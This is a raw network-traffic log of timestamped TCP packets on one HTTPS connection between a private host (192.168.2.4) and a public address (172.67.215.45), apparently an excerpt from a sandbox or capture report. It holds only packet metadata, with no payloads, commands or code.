May 1, 2024 08:37:00.196233988 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196259975 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196274996 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196290970 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196307898 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196311951 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196326971 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196332932 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196351051 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196356058 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196362019 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196382999 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196392059 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196404934 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196420908 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196422100 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196434975 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196450949 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196477890 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196496010 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196508884 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196513891 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196525097 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196549892 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196552992 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196561098 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196578026 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196598053 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196603060 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196614027 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196624041 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196644068 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196645021 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196655989 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196672916 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196707964 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196727037 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196747065 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196779013 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196783066 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196809053 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196820974 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196820974 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196826935 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196842909 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196851015 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196890116 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196890116 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196902037 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196923018 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196940899 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196944952 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196957111 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196963072 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196973085 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196996927 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197004080 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197016001 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197030067 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197036028 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197041035 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197062016 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197088003 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197093964 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197114944 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197119951 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197128057 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197143078 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197153091 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197155952 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197176933 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197199106 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197213888 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197218895 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197266102 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197276115 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197299004 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197330952 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197336912 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197360992 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197365046 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197393894 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197413921 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197428942 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197454929 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197463036 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197477102 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197485924 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197494030 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197535992 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197540998 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197549105 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197563887 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197566032 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197588921 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197592974 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197606087 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197618008 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197623968 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197653055 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197658062 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197678089 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197684050 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197695017 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197714090 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197721004 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197747946 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197751045 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197771072 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197802067 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197805882 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197834015 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197844028 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197859049 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197910070 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197911024 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197916985 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197926998 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197947025 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197977066 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.197982073 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.197999001 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198002100 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198015928 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198045969 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198050022 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198065996 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198070049 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198085070 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198115110 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198120117 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198142052 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198142052 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198163033 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198188066 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198193073 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198204994 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198221922 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198246002 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198251009 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198266029 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198319912 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198324919 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198333979 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198353052 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198383093 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198388100 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198409081 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198411942 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198430061 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198467970 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198472977 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198482990 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198486090 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198501110 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198517084 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198520899 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198549032 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198549032 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198569059 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198571920 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198594093 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198597908 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198618889 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198623896 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198637009 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198672056 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198677063 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198690891 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198690891 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198710918 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198740959 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198745966 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198756933 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198772907 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198787928 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198816061 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198821068 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198837996 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198842049 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198857069 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198885918 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198892117 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198904037 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198905945 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198920012 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198956013 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198960066 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198970079 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.198970079 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.198990107 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199027061 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199031115 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199043989 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199048996 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199065924 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199093103 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199096918 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199112892 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199119091 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199132919 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199162960 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199170113 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199184895 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199187040 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199204922 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199237108 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199242115 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199263096 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199265957 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199285030 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199312925 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199322939 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199336052 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199393034 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199407101 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199434042 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199439049 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199449062 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199455976 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199471951 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199521065 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199528933 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199528933 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199533939 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199544907 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199562073 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199596882 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199601889 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199611902 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199635029 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199644089 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199664116 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199667931 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199680090 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199692965 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199702024 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199702978 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199713945 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199733973 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199760914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199770927 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199775934 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199786901 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199801922 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199815989 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199820042 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199832916 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199847937 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199851036 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199877977 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199882030 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199906111 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199907064 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199922085 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199928045 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199939966 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199949026 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199969053 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199979067 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.199980974 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.199990034 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.200016975 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.200023890 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.200033903 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.200037956 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.200066090 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.200088978 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.200695992 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.200890064 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.259633064 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259663105 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259706020 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259727001 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.259762049 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259804964 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259821892 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.259821892 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.259855986 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259871960 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259902000 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.259908915 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.259937048 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.260088921 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260096073 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260152102 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.260160923 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260385036 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260400057 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260442019 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.260449886 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260478020 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.260564089 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260582924 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260618925 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.260624886 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.260637045 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.261193037 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261205912 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261248112 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.261254072 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261280060 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.261415958 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261436939 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261465073 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.261471033 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261492968 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.261846066 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261869907 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261893988 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.261898994 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.261931896 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.262124062 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.262145042 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.262175083 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.262181044 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.262203932 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.262777090 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.262792110 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.262826920 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.262833118 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.262856960 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.282476902 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.282506943 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.282543898 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.282561064 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.282597065 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.282859087 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.282875061 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.282908916 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.282916069 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.282934904 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.283315897 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.283334970 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.283384085 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.283390045 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.283409119 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.283711910 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.283725977 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.283761978 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.283766985 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.283807039 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.284107924 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.284123898 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.284167051 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.284172058 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.284203053 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.284589052 CEST	443	49740	172.67.215.45	192.168.2.4
